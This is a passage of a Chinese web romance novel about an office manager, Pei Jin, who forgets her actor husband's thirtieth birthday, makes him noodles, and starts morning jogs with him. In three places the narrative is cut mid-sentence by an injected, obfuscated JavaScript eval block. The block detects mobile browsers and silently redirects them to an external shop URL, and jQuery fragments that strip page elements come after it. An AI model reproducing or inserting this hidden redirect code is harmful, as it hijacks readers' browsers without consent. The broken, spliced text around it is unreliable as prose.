姐,也给齐北宸做点什么手工物品?不是说要仪式感和浪漫嘛,亲手做的外面买不到,够诚意了吧! 家里还有一罐子没处理过的小狗毛,裴矜锁定目标,考虑用它来做点纪念品。午休时间刷了一堆手工视频进收藏夹,解决了一桩心事,裴矜下午开会时心情都畅快了不少。 裴矜的好心情仅维持到下班就退去了大半。她拿着包和往常一样下楼,只见吕恪在和一个中年男人站在距离公司大楼不远的地方争论着什么。 下班时间人来人往,她注意到中年男子的五官和吕恪有几分相似,前不久在办公室目睹过吕恪冷脸现场的裴矜立即反应了过来:这个男人不会是吕恪的父亲吧? 清官难断家务事,裴矜一个外人不好直接插手。她往前走了几步,躲在树荫下偷看两人的情况。 吕恪的袖子卷起到胳膊,手里拿着一杯满杯的咖啡,脸色比在裴矜办公室时还难看。他的父亲半挡在吕恪面前,双臂展开:“吕恪,那是你亲弟弟,你一个做哥哥的就忍心见死不救?” “爸,我和你说过很多次了,他自己实力不过硬,光靠我没用。”吕恪冷着脸往前一步,“我还要加班,麻烦你让让。” 吕父一把揪住吕恪的衣领,气血上涌:“你这个不孝子,我供你吃穿,供你去国外读书,你就这么对我的?” “放手。” “你还当我是你爸吗?啊!” 不好,再下去要打起来了。 眼瞅着情况不妙,路过下班的人里有少部分已停下驻足观看,再拖下去,她公司的形象就报废了。 裴矜急得冒汗,环顾四周,一眼看到了缸抽完烟的王部长。 是救星! 她快速冲到王部长面前,简明扼要地把情况和对方一说,王部长了然地点点头:“我知道了。” 他不紧不慢地走到吕家父子旁,咳嗽了一声:“小吕啊,你怎么在这儿,我交代你的事办完没?” 争吵中的父子二人停了下来望着王部长。 吕恪整理了衣服:“还没部长,我这就去。” “部长,哎哟,你好你好,我是吕恪的父亲。” 吕父立即变了脸,对着王部长吹起了自己的幺子。 王部长全程端出和蔼的笑容,耐心地听他说完,让吕恪给他发了公司的招聘启事:“吕先生,回去你可以让你儿子点击下面链接报名。那么优秀的人,我也想有空和他面谈。我还有事,吕恪我就先带走了。” “哎,好,好,谢谢部长。” 吕父听得心花怒放,点头哈腰地送走了王部长。裴矜全程躲在树下目送二人回公司才松了口气。 呼……不愧是王部长,姜还是老的辣,几句话就把事情摆平了。 “诶?没想到王部长还挺厉害的嘛。” 一道略带轻浮的男声从裴矜背后响起,惊得她往前冲了两步。回过头定睛一看,对方是老熟人方铭。 “方组长,下班了?”裴矜拍拍身上沾到的树叶,走出树荫,“很少见你准时下班。” 方铭哈哈大笑着走在裴矜身侧:“我也很少见到主任准时下班。不过今天日子特殊,哪怕主任旷工,我也能够理解。” 32. 过生日 裴矜淡定的心情一下变得慌乱了起来。 卢烨也好,方铭也罢,今天一个又一个提醒她,这事显然还没翻篇。 “诶,不会吧?难道你没准备?”悠哉悠哉的方铭笑容僵在嘴角上,语带疑惑,“主任,你该不会是忘了吧?” 受够了光打哑谜从不解谜的裴矜泄气地点点头:“我是真没想起来,到底什么事啊?我家那个从昨晚上就垮着张脸,问也不说。” “哎哟,主任你回家得悠着点了。”方铭表情严肃了许多,“今天是齐北宸的生日,他早上就挂在微博上了,你没看吗?” 后知后觉的裴矜没控制住音量,惨叫一声,引得旁人侧目:“啊?!” 方铭赶忙和回头看的路人打招呼道歉:“我的姑奶奶,你小点声。” 小个鬼啊!这是声音大小能解决的事吗?! 裴矜这才将前因后果串了起来。 难怪昨天齐北宸疯狂作死还等着自己去哄他,难怪他昨天刚刚收到小斗篷的时候特开心,一听到是薅来的羊毛就拉长狗脸,难怪他说要守夜,难怪他不准卢烨告诉自己。 齐北宸你平时什么都往外说,关键时刻怎么就哑巴了! 裴矜沉浸在自己的脑内复盘中,只听方铭又补充了几句:“主任,小齐他今天三十岁也算是个重要的生日了,你要是没准备,哪怕临时抱佛脚也比两手空空回家的强。” 方铭说的没错,得知了消息的裴矜也不拖延,边跑边说:“谢谢你了方组长,回头请你吃饭。” “行,我等着你们夫妻俩一起请我吃。” 裴矜跑到十字路口的时候拿出手机赶紧查看了一眼,她上班期间齐北宸有没有给自己发信息。消息栏里没有齐北宸的消息,倒是飘着两条卢烨的,时间是一小时前。 卢烨:小裴,我和宸宸刚刚都变回来了。他今天心情不好,我想多陪陪他,他不愿意我留下,我只好和我老婆先走了。 卢烨:你回家多哄哄他,旁人都不好使。宸宸不是不讲道理的人,放宽心。 裴矜随即给卢烨回了一条“谢谢姐夫“,接着过马路去甜品店买蛋糕。 时间处于傍晚和夜晚的交接线,甜品店里的大部分蛋糕已经被买走了,只剩下孤零零的几块小蛋糕。 裴矜冲进甜品店直奔收银台:“你好,草莓蛋糕还有吗?” “小姐你好,草莓蛋糕已经卖完了,本店新推出的其他新品有没有兴趣尝试一下?” “巧克力蛋糕呢?” “那个也卖完了。” “谢谢,我不需要了。” 裴矜又奔到第二家、第三家店,得到的结果都相差无几,最后只能退而求其次,买了提拉米苏蛋糕。 几家蛋糕店辗转下来耽误了裴矜不少时间,眼瞅着时间流逝,她在打车去超市的时候给齐北宸打了个电话。 电话被秒接起来,对面却很安静,只能听到轻微的呼吸声。 裴矜小心翼翼地开口:“齐北宸?” 电话那头传来敷衍的一声:“嗯。” 裴矜悬着的心放下一半,她深呼吸了一口气问:“那个,你吃过晚饭了吗?” “没有。”齐北宸的声音有点沙哑,“你不是说会早点回来的吗?总得等你回来吧。” “我可能还要有一会儿。”“加班?”“不加班,有事。” “什么事啊?” “不告诉你。” 齐北宸一下就嗓门大了起来:“裴矜你是不是溜我玩呢!” 裴矜立马解释:“没溜你,你乖一点在家等我,好不好?” “我还有啥话语权么,胃袋都被你拿捏了。”齐北宸又软了几分,犹豫了一会儿才问,“是不是遇到麻烦事了?要不要我去接你?” “不麻烦,你在家等着就好。” “成吧。” 裴矜挂完电话下车来到超市,货架上琳琅满目的商品她速扫了一圈,最后选了草莓果汁、番茄、鸡蛋、葱还有一袋挂面,付了钱就一路狂奔往家冲。 推开家里的门,客厅里没有开灯,不远处的沙发上有电子产品的荧光隐隐跳动。 裴矜跑得上气不接下气,窝在沙发上已经变回人类的齐北宸听到声音转过头。 换完拖鞋,平复剧烈的心跳,裴矜把东西放在桌上:“你一个人在家怎么不开灯啊,肚子饿不饿?” 齐北宸站在裴矜不远的地方摇摇头:“不饿,变成小狗的时候吃了很多狗粮。” 骗人,昨天还偷小面包吃,一顿都饿不起还敢说不饿? 裴矜眯起眼睛盯着齐北宸看了片刻,两声“咕嘟”分别从两人的肚子里传出,打破了微妙的宁静。 齐北宸绷着一张脸,耳根微红。他双手插兜,下巴高高抬起,眼睛止不住地往裴矜身上瞟,就是不开口。 行,那么喜欢憋就憋着吧。裴矜挽起袖子开始做饭:“你不饿我饿了,今天晚上我下厨,很快就能吃饭了。你有空把袋子里的拿出来,收拾一下。” “什么啊,就会使唤我。” 齐北宸嘴里嘟囔着打开袋子,在看到提拉米苏和草莓果汁的那一刻不响了。 裴矜走过去把做面条的食材拿走,浸菜、切菜一气呵成,又煮了一锅水等着烧开。身后的男人过了半晌才开口。 “那个……” “咋了?” “提拉米苏我可以吃吗?” “当然可以,本来就是买给你的。” 齐北宸的脸色这才好看了一点,他打开橱柜拿出碗筷和杯子,给裴矜和自己各倒了一杯草莓汁,眼巴巴地望着裴矜做饭的身影。 裴矜回过头时正好看到这一幕。 像一只才回家的可怜小狗,他今天怎么那么萌,明明都不是小狗了。 裴矜对着桌上的提拉米苏努努嘴:“特意给你准备的,不吃吗?” “现在不吃。”齐北宸摇摇头,“等你一起。” 那么乖的小齐狗杀伤力有点大啊。 裴矜手一抖,不小心多放了一勺盐,可她现在顾不上那么多。 葱花被切成碎片,黏在金黄色的蛋液上,裴矜翻炒完鸡蛋加入番茄又翻了翻,把面条和番茄炒蛋盛出来拌匀,放在桌上,面对着齐北宸:“虽然有点迟了,但我还是想说一声生日快乐,老公。” 齐北宸绷着的冰山脸上这才产生了一丝龟裂,他弯了弯嘴角,再度抬起头时,那双眼里闪烁着点点星光:“谢谢老婆。” 客厅里没有开灯,取而代之的是几根蜡烛,微弱的淡金色光晕在两人的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777614|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 廓上涂上了一层浅浅的釉质。还好他没真生气。 裴矜正面迎上他那真诚的目光,心跳漏了一拍。她轻咳一声,把大的那一碗推到齐北宸面前:“你还没吃过我做的饭吧?快尝尝我的手艺如何。” 齐北宸先是拿起手机对着碗拍了几张照片,才用筷子夹起几根面条,就着番茄和鸡蛋一同入口。 他细细嚼了几下,眉头微皱却没说什么:“还不错,没想到裴主任还有这手艺。” “你喜欢就好。” 裴矜松了口气,也开始吃面,面才入口她就皱巴着脸。 “不行,我这盐放太多了,咸得要死,你别吃了。” “盐多了放点水不就行了。”齐北宸护着碗,喝了几口草莓汁继续干饭,“这是我的生日面,不许你剥夺我吃面的权利。” 这人有些时候真是固执。 裴矜也是个倔种,她执意往两人碗里倒了一些水,拌开后小口吃着:“这样好一点没?” 齐北宸吸溜着面条,含糊不清地回答:“老婆大人做什么都是对的,如果老婆大人做错了,自动回顾前一条。” 切,信他才怪了。从昨天开始就在生闷气,还一个字都不说。 裴矜知道但不点穿,和齐北宸静静享受着这顿朴素的生日面。饿极了的俩人三下五除二吃完面条,裴矜摸了摸小肚子感叹自己吃饱了,一转头就看到齐北宸正在吃提拉米苏。 “你还吃得下?”裴矜疑惑地看着他快速进餐的速度,“你的男明星身材管理不要了吗?” 齐北宸挑起半边眉毛,又挖了一勺丢进嘴里:“老婆,这你就不懂了。俗话说,甜品是装在另一个胃里的,和主食没有关系。我对我的身材管理从来不松懈,但是老婆给的生日小甜品意义非凡。吃是今天的事,减肥是明天的事,让明天的我再来回答你吧~哎哟!” 齐北宸话还没说完,就被裴矜弹了下脑门。他龇牙咧嘴地摸着额头:“我今天是寿星!打寿星天理不容!” “弹了下脑门你就嗷上了,还没用拖鞋抽你屁股呢。” 裴矜端起碗筷去清洗,路过齐北宸时故意做了个要拖鞋的举动,后者立马蹲在椅子上一脸警惕。 炸毛小狗真好玩。 考虑到今天是齐北宸三十大寿,裴矜没闹得太过分。洗完碗筷,裴矜把剩下的食材放进冰箱,打开才看到里面有个超大的草莓蛋糕,用设计和用料散发着一股奢侈品的气息。 裴矜愣住了。 原来别人都记得他的生日,而她这个距离最近的人要不是方铭的提醒根本意识不到。 “裴主任,你想节约用电也不能拿冰箱吹冷气啊,这散不了多少热。” 齐北宸站在距离裴矜不到十公分的背后,长臂一伸,把冰箱门关上。裴矜背对着他沉默了几秒:“阿宸,对不起,我……没能想起来你的生日,昨天还饿了你一顿。” “都过去了你还提它干嘛,我也没放在心上。”齐北宸的话停顿了片刻,又往下说道,“不过老婆你要是真觉得抱歉,不然用行动补偿我一下咯。” 裴矜转过身面对他:“面和甜品你都吃过了,你还想我怎么补偿你?” “很简单。”齐北宸歪嘴一笑,手指戳了戳自己的脸颊,“亲我一下,一笔勾销。” 33. 甜蜜的负担 月色迷人,笼罩在月色下放大的那张俊脸更是惑人。 极近的距离让裴矜能看清齐北宸脸上的毛孔,他的皮肤是泛着健康粉红的暖白色,脸上没有一颗痘痘,胡子也刮得很干净。浓密的睫毛像两把小刷子,往下是高挺的鼻梁和深邃的眼窝。 长得那么赏心悦目,难怪能把薄总演活。 裴矜没顶住美颜暴击,近距离欣赏得有点入迷。两人之间的距离极近,只差一步就能贴合在一起。 窗外偶有风吹过树叶的沙沙声,覆盖不了彼此剧烈的心跳声。 一下,又一下。 齐北宸的体温比裴矜要高一点,他此刻弯着腰,单手撑在冰箱上,嘴角勾起淡淡的弧度,一双眼睛含着笑意盯着她不放。 这哪儿是什么乖狗,分明是男狐狸精转世索她命来了。 清心寡欲近三十载,法力高深的裴道长眼睛一闭,狠下心一脚踩在齐北宸的脚背上:“你无耻!” 毫无防备的齐北宸发出一声惨叫,五官皱成一团:“哎哟!疼!” 哪儿那么疼,她压根没用力,八成是装的。 裴矜眼皮掀了掀,见齐北宸倒吸凉气,紧锁的眉头不见舒展,声音不自觉软了下来:“我没很用力吧,你哪儿疼啊?” “哪儿哪儿都疼。”齐北宸的眼角挂着泪花,一脸可怜相,“什么办法都不管用,要老婆亲亲才会好。” 油腻死了,他根本就没事! 裴矜气得又想给齐北宸来一脚,却被他躲开,两只手都撑在冰箱门上,完全不给裴矜逃的机会。 “老婆,我今天可是寿星,我的生日愿望你总得满足吧?”齐北宸又把侧脸凑到裴矜面前,“就这里,盖个章就好。你要是实在讨厌就给我来一巴掌,我保证不烦你。” 哦?还有这种好事? 裴矜的手轻轻搭在齐北宸的脸上,手指感受着他细腻的肌肤纹理:“你认真的?那我要打了,你可别躲。” “啊?你来真的啊!”齐北宸两只眼睛瞪得老大,他停滞了一瞬,像只泄了气的皮球一样闭上眼睛叹着气,“男子汉大丈夫,一言既出驷马难追。老婆,打轻一点哦,我还得靠脸吃饭呢。” 这个时候还讨价还价,他有资本吗? 看着眼前那张牙关咬紧,慷慨赴死的俊美脸蛋,裴矜险些笑出声来。 逗人也得有个限度,把狗逗急了,他回过头咬自己就划不来了。 裴矜的手在齐北宸保养得极好的脸上轻点了几下,随后不给他一点反应,在他的侧脸上落下一个极轻的吻。 感觉到异样触感的齐北宸睁开眼,他转过头正视着矮他一个头的裴矜,笑意慢慢爬上了脸:“老婆。” “干嘛,还想让我打你才满意啊,真欠抽。”裴矜嘴巴一撅,刮了齐北宸的鼻子一下就跑,“早点休息,寿星傻狗。” 一阵沉默过后,背后传来齐北宸铿锵有力的回答:“谨遵老婆懿旨!” 荒腔走板的生日夜晚,在两人的心照不宣中悄悄划走。 裴矜睡得早,起得也早,但她忘了家里还有个健身狂魔起得比她还早。 早上六点不到,齐北宸已经大汗淋漓地从外面回来,平时要六点半才起床的裴矜得以见到了一只水灵灵的健身狗。 “早,老婆。” 齐北宸擦擦汗,全身因为才运动过,肤色粉红。他没有立即坐下,拿出一瓶水断断续续抿了几小口。 才睡醒的裴矜有点发懵,下意识点点头:“早。” “老婆真可爱。”齐北宸揉揉裴矜的鸟窝头,打开冰箱,“昨天姐托人空运回来的蛋糕没怎么动过,早饭要不就吃这个吧?” 裴矜有点担心:“那么大的蛋糕,一顿我们俩吃不完,你就完全不担心胖吗?” “这算啥,撸会儿铁全给干没了。”齐北宸端出蛋糕切了两块,“你去刷牙洗脸,剩下交给我就好。” 吃得多,消耗也快,这人肠胃构造和一般人真是两个模型。 裴矜站在洗手台上洗完脸,凉水的刺激让她找回了一点理性。 不对,刚刚齐北宸是不是趁机摸她头了?嘿,这狗东西,一点亏都不肯吃! 裴矜心里骂骂咧咧,那一小点不舒服在看到草莓蛋糕的那一刻被抛诸脑后。 大颗草莓摆放在纯白色奶油的中央,底下由纯黑巧克力酱和草莓酱作为夹心,完美混入蛋糕胚之中。蛋糕的横截面切开,还能看到里面夹杂的新鲜树莓,浓郁的奶油味和清甜的水果融合在一起,形成了一道视觉、嗅觉及味觉上均不可比拟的享受盛宴。 表姐真乃神人也! 坚定的少吃蛋糕党裴道长,因道心不稳,被一块手工定制蛋糕轻易收买完毕,修行还是太浅了点。 愉快的用餐结束,裴矜拿着包被齐北宸送出门,开启了新一天的工作之旅。 裴矜意外发现她和齐北宸似乎都越来越适应这样的生活了。至于不定期变狗的问题,现在也有梅由谨这个技术支持在,也没那么手忙脚乱了。 裴矜挤地铁的时候顺手给梅由谨发了个消息,告知他齐北宸变回来了,梅由谨过了一会儿回给裴矜一组她完全看不懂的数据,以及一条文字说明。 梅由谨:啊~齐哥现在情况比之前要稳定多了,数据还需要进一步采集。他近期如果有商演或者综艺要参加,大概是没问题的。 裴矜可信不过他的大概,他上次打马虎眼就捅出个大篓子,这回说什么也不能让他混过去。 裴矜:说具体点,什么叫大概?万一出事了,谁负责? 梅由谨:我的意思是现在齐哥变身不会说变就变了,上面的数据我不是发给你了吗? 裴矜:我又看不懂,VIP顾客你就这么对待的? 梅由谨:裴小姐言重了,是这样哈。齐哥变成幼崽的这段时间我分析了一下他的指标和送来的毛发,发现他的耐药性不高,也就是说他很有治愈的希望。 梅由谨:结合卢哥的情况,我初步推测变成哈士奇幼崽形态是之前他误吞的试剂药效减弱的信号,我这几天会改良特效药,这样的话,对他的日常出行会少些负担。 裴矜:那我先替他谢谢你了。 梅由谨:不必客气,裴小姐有空再给小店下几单,来些好评,我就心满意足了~ 意外还是好消息。裴矜和梅由谨道谢完,又下单了一些日用品,随后打开微博。 糊糊演员齐北宸昨天的生日祝福倒是不少,置顶是一张裴矜再熟悉不过的照片。 那不是她昨天晚上做的那碗超咸番茄炒蛋面吗?他怎么给晒到网上去了。 PS达人齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779840|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 北宸除了家里的摆设背景做了模糊处理,面条一点没P,原汁原味地放了上来。底下还有一行小字:我心中最好吃的面条,旁边还画了一颗小爱心。 讨厌鬼,也不知道害羞一下。 裴矜微微勾起嘴角,手指继续往下翻评论区。 “原来哥哥喜欢吃番茄鸡蛋面啊?好朴素哎~” “哥哥三十岁生日快乐!” “什么时候进组啊?我们脐橙等得黄花菜都凉了。” “笑死,楼上怕是不知道你哥某短剧第二季开播在即。” 评论区大部分其乐融融,只有在最底下有几条评论不太和谐。 “齐北宸,你是不是背着我有别的女人了?” “这一看就不是本人做的吧?塌房了。” “都三十岁了还和小朋友一样,也不知道粉丝喜欢他什么。” 裴矜看完收起手机,她歪了歪头,又打开手机确认了一遍才合上。 塌房这词不是用在艺人失德的情景里吗?齐北宸不是爱豆,从不立单身人设,结婚了也把消息发在微博上,怎么就塌房了? 回想到昨天才摸过的齐北宸那张脸,裴矜又释怀了。 也不能全怪粉丝,谁让某人的颜值确实抗打,还是不用修图的那一种,这大概就是做演员的烦恼吧。 裴矜一路走一路脑补,不知不觉走到了公司。她打完卡,刚进自己的办公室,唐蜜抱着几个快递敲门进来了。 “主任,你的快递。” “谢谢。” 裴矜抬头看到笑得眉眼弯弯的唐蜜,多嘴问了一句:“怎么了,一大早笑得那么张扬。” “嘻嘻,因为这个呀~”唐蜜轻拍了一下自己的快递包裹,“昨天我偶像过生日,今天就收到之前中奖的海报了,我当然高兴啊~” 裴矜点点头:“嗯。” “主任,你那个应该也是奖品吧?” “大概是的。” “能不能拆开让我看看?” 裴矜倒是无所谓,她打开一看,里面是两枚薄总造型不同的钥匙圈。一个是Q版西装款,还有一个是Q版私服款,看上去都很可爱。 “做的不错哎~”唐蜜发出一声感叹,“可惜上面只挂薄总有点太空了,要是再补点什么就更好了。” 裴矜一下联想起了没带来的那罐狗毛,但她没声张。 只听唐蜜又碎碎念道:“不过小吕就没那么幸运了,昨天他爸来咱公司楼下那一闹,得亏是王部长压制住了。糟老头子看着就不良善,小吕好惨的一娃。” 裴矜摇摇头:“人没办法决定自己的出身,以后的事谁也说不准,我们要相信小吕自己能处理好。” 不算太愉快的小插曲过后,接下来的几天里,裴矜彻底体会了齐北宸是如何说到做到的。 佘瑰的定制蛋糕在俩人连续肝了几天早饭后才被消灭完全,好吃确实好吃,但在看不见的地方另有负担。 裴矜站在电子秤上,看着自己短短几天就飙升了五斤的体重什么话都说不出来,一张脸阴沉得能滴出水来。 浑然不知的齐北宸刚从外面录制节目回来,脸上挂着阳光的笑容:“嗨,老婆,怎么了?” “不怎么。”裴矜聪电子秤上下来,后槽牙咬得嘎吱嘎吱响,“我要减肥!” 34. 运动搭子 齐北宸换上拖鞋,脱下外套去洗手:“好端端的减什么肥啊,你又不胖。” “怎么不胖了,我都重了五斤!”裴矜伸出手又重复了一遍,“你知不知道五斤肉意味着什么啊!” “好好好。”齐北宸举手投降,“都怪姐的蛋糕太好吃,你我把持不住吃太多了,那亲爱的裴主任你打算怎么消耗这五斤肉?” 裴矜地眼睛钉在齐北宸身上:“你不是每天都要早起去晨跑吗?带我一个。” “你确定?”齐北宸一脸疑惑,“我可是早上五点半就起来,从出门到回家差不多要一个小时,你坚持得住?” 裴矜目光灼灼:“我确定以及非常肯定!明天开始我要执行我的减肥计划!” “哪怕全部要按我的节奏来,你也接受?” “没问题。” 齐北宸耸耸肩:“那我先提前预祝你成功了。” 话说的太满容易翻车,裴矜第二天才醒悟了这个道理。 早上五点半,齐北宸准时敲响了裴矜的房门:“老婆,起床了。说好的今天开始要减肥,你可不能第一天就摆烂。” 吵死了,谁啊,在她门口大呼小叫的。 裴矜扯过身旁的枕头,人往被子里一拱,隔绝完扰人的噪音继续和周公下棋。 在门外敲门无果,齐北宸把门一推,大步走了进来:“裴主任,裴大小姐,请您起床!” 裴矜嘴里哼哼唧唧的,裹着被子一动不动。 齐北宸无语失笑:“裴矜,凡事过一过二不过三,机会我给你了,是你自己不珍惜。” 他一把掀开裴矜的被子,无处可躲的裴矜一下就醒了,两只眼睛瞪得像铜铃,瞳孔失焦,不知在看哪儿。 齐北宸给她拿来毛巾,又揉了揉她乱糟糟的头发:“醒了没?给你十分钟时间洗漱换衣服,我在门口等你。” 早起是对打工人的一场折磨。 十分钟后,裴矜勉强撑着打架的眼皮和齐北宸下楼。两人来到楼下,裴矜左转正准备往车站的方向走去,被齐北宸一把按住了肩膀:“你往哪儿去?” “去公园啊。” “那方向是去车站的。” “不去车站怎么到公园?有两站路呢。” “跑着去。” “啊?”裴矜这一嗓子把自己喊精神了,“我怎么不知道啊!” 齐北宸一派轻松:“现在知道也不晚,开始吧老婆。” 答应都答应了,总不能现在就举白旗投降吧?裴矜咬咬牙,跟在齐北宸的身后跑。 齐北宸的步子大,一开始就把裴矜甩在了身后,在察觉裴矜没追上来后,他放慢了步伐,维持在裴矜三步左右的前方领跑。 大学毕业后几乎和各项体育运动愉快说再见的裴矜算是吃到了苦果,没跑几分钟,她就感觉呼吸困难,两只脚像灌了铅一样,还狂飙汗。 不行,得坚持! 裴矜一路死撑到公园门口时,整个人湿得像从水里刚捞上来的水产品似的。齐北宸回头看了她一眼,面露难色:“老婆,你还好不?要不就算了,你在这儿等我,我一个人……” “不行!”裴矜喘着粗气,“才几分钟,能算什么运动!我要坚持!” “你再坚持下去就不是减肥了,是缩寿。”齐北宸改为走路模式,把毛巾递给裴矜,“擦擦汗吧,你现在像从桑拿房出来的一样。” “谢谢。” 裴矜接过毛巾,和齐北宸以小步快走的方式步入公园。 清晨的公园静谧安宁,茂密的树丛里混杂着不知名的小鸟叫声。视野开阔的草地一望无际,偶尔有几个早起晨跑和遛鸟的人和齐北宸点头打招呼。 裴矜累得灵魂出窍,四肢看似在动,实则魂魄已经离开身体有一会儿了。两人穿过草坪,来到一座凉亭,齐北宸把毛巾铺在石凳上,示意裴矜坐下。 裴矜搞不懂他是什么意思,人却坐下来了:“不是说要晨跑锻炼吗?你让我坐下来还怎么锻炼?” “我一个人那是晨跑,但今时不同往日,我还有个娇弱的老婆大人陪在身边嘛。”齐北宸活动着手指,“看你跑一步喘三口的样子,我也不能为难你。机会难得,让你试试我的独门推拿。” 他还会推拿?他还有多少技能点是她不知道的? 好不容易喘口气,还有免费劳动力为自己服务,裴矜乐得坐享其成。她挺直背,双手放在膝盖上,两腿分开与肩同宽:“请吧,齐师傅。” 齐北宸笑着拍拍裴矜的背:“不用挺那么直,放松一点。你这样坐得像小学生一样,哪个师傅敢上手给你推拿?” 要求真多。 裴矜撇撇嘴,放松了些许:“好了。” 一双宽厚温热的大掌搭在裴矜肩头,隔着衣服捏了捏她的臂膀。 “嗯……” “又咋了?” “这是你的肩膀啊,我还以为摸到花岗岩了。” 裴矜立马想转身,却被齐北宸一把按住。 “别不高兴啊裴主任,我是说你平时工作繁忙,日理万机的,没有机会好好享受放松一下。现在让小齐子竭诚为您服务。” 男人的嘴,骗人的鬼。特别是像齐北宸这种一看就小嘴特能叭叭的,骗起人来更是不打草稿。 裴矜虎着张脸不说话,齐北宸调节了一下发力的技巧,一边按一边寻找裴矜最为酸痛僵硬的点。 大概按揉十几下后,裴矜绷着的身子放软了不少,她闭着眼睛指点齐北宸:“左边一点,对,再往上一点,嘶……就是那里,好酸。” “你加班加太狠了,也不怕年纪轻轻得肩周炎。”齐北宸一手按着裴矜的左肩,一手抓着她的手腕,带动她活动关节,“听听这声音,嘎啦嘎啦的。知道的是按摩推拿,不知道的还以为我在爆炒米花。” 这都什么年代了,哪儿有人搞这个。 裴矜心里默默翻了个白眼,手臂放松,借着齐北宸的力度随势而为。 还别说,这么做个拉伸,好像是舒服多了。 “齐北宸,你是哪儿学会的手艺?” “看视频学的,普拉提啊,简单的减压技巧网上一抓一大把,多看几次就会了。” “你还挺会观察生活的。” “我毕竟是个演员,不观察生活可不行。” 齐北宸又给裴矜换了一条胳膊活动松筋骨,一套基础套餐完毕,裴矜活动了下肩膀脖子,感觉是舒服了不少。 “好了,裴主任,今天的服务已完毕。”齐北宸伸出两只手,掌心朝上摊开伸向裴矜,“请给小的结个账呗。” 裴矜挑挑眉,一动不动: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782396|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “之前咋没听说这还是收费服务?什么店啊那么黑,我要检举揭发告到消保协去。” 齐北宸不依不饶地继续伸着手,努力眨着眼睛,语气软软的:“给一点嘛客官,你要是不给,今天有只可怜的小狗要叼着他的金饭碗去要饭了~” “行,知道了。”裴矜轻拍了一下他的手,“先欠着,过几天给你,绝不赖账,这总行了吧?” 齐北宸被打了手还嘿嘿笑:“成,老婆大人都发话了,我当然要听。不过嘛……” 裴矜还没反应过来,侧脸就被突袭亲了一口。不等她反应过来,齐北宸就撒丫子跑了,远处传来他的声音。 “老婆,你先坐着休息一会儿,我去打车,等我哦。” 讨厌鬼,就会趁她不备搞偷袭! 裴矜一手摸着刚刚被亲过的地方,另一只手扇着风乖乖等待齐北宸打车才和他一起回去。 两人回到家,一前一后洗澡完毕换了身衣服,坐下共进早餐。 前几天吃惯了豪华大蛋糕的裴矜在看到全麦面包的第一眼是拒绝的。两片面包吐司,一杯脱脂牛奶,一个白煮蛋,清汤寡水得过于健康。 裴矜吃着面包,味同嚼蜡,但勉强凑合,眼睛的余光止不住地往齐北宸那边扫。 齐北宸的早餐更简单,只有一杯黏糊糊的、不知道具体构成物是什么的粘稠汁液。深绿色的杯子里还有一些肉泥状的物体,裴矜越看越眼皮子抽抽。 她看了几分钟实在憋不住,胳膊肘捅捅齐北宸:“你喝的这是什么啊?” 齐北宸晃了晃杯子:“这个啊,独家秘制健身餐,你绝对吃不下的,还是别问了。” 哪儿那么玄乎,又在唬人。 裴矜满脸的不信。她咽下面包喝了口牛奶:“你不说怎么知道我吃不吃得下?里面到底是什么东西啊?” “嗯……其实也没什么。”齐北宸掰着手指数,“里面是鸡胸肉、羽衣甘蓝、黄瓜、芹菜还有牛奶,打碎了榨汁喝,你要是不信里面还有食物残渣呢,你要不要看看?”齐北宸边说边把他的杯子往裴矜的方向凑。 听到那么硬核的健身食谱,裴矜只想重回一分钟前给自己来个禁言术,她拼命摆手,大声喊:“你不要过来!” 齐北宸乐不可支:“噗,难得你也会怂啊裴主任。” 俩人边吃边聊,干硬的早餐也变得容易下咽了许多。 吃过早饭,裴矜和齐北宸难得一起出门。 俩人的方向不尽相同,齐北宸开车顺带捎了裴矜一路,在她下车前特意从车窗探出头,叮嘱道:“今天别再剧烈运动了,你这细胳膊细腿的,回头减肥不成人都得报废。午餐少油少盐,饭减少一口就够了,不许不吃。” “知道了,年纪还没大就那么啰嗦。” “还有,有空按摩一下活活血,你今天以保养为主。” 切,不就是天天跑步体力好嘛,有什么好得意的。想她学生时代跑步也是班里前几名,才没那么虚弱。 不信邪的裴矜只搭理了齐北宸一半,午饭好好吃了,活血是不做的。她一个上班族哪儿像他大少爷那么会保养。 报应来得很快。 午休结束,裴矜从午睡里醒来刚想站起来活动一下筋骨,只觉得双腿酸胀不已,膝盖一软,竟“啪嗒”一声跪在了地上。 35. 人形坐骑 裴矜跪在地上的声音过于清脆响亮,距离办公室最近的唐蜜和吕恪率先赶到。 俩人拍门喊着:“主任,你没事吧?” 大脑罢工的裴矜这才反应过来,冲着门口喊:“没事,不小心绊了一下。” “好的,有事记得喊我们。” 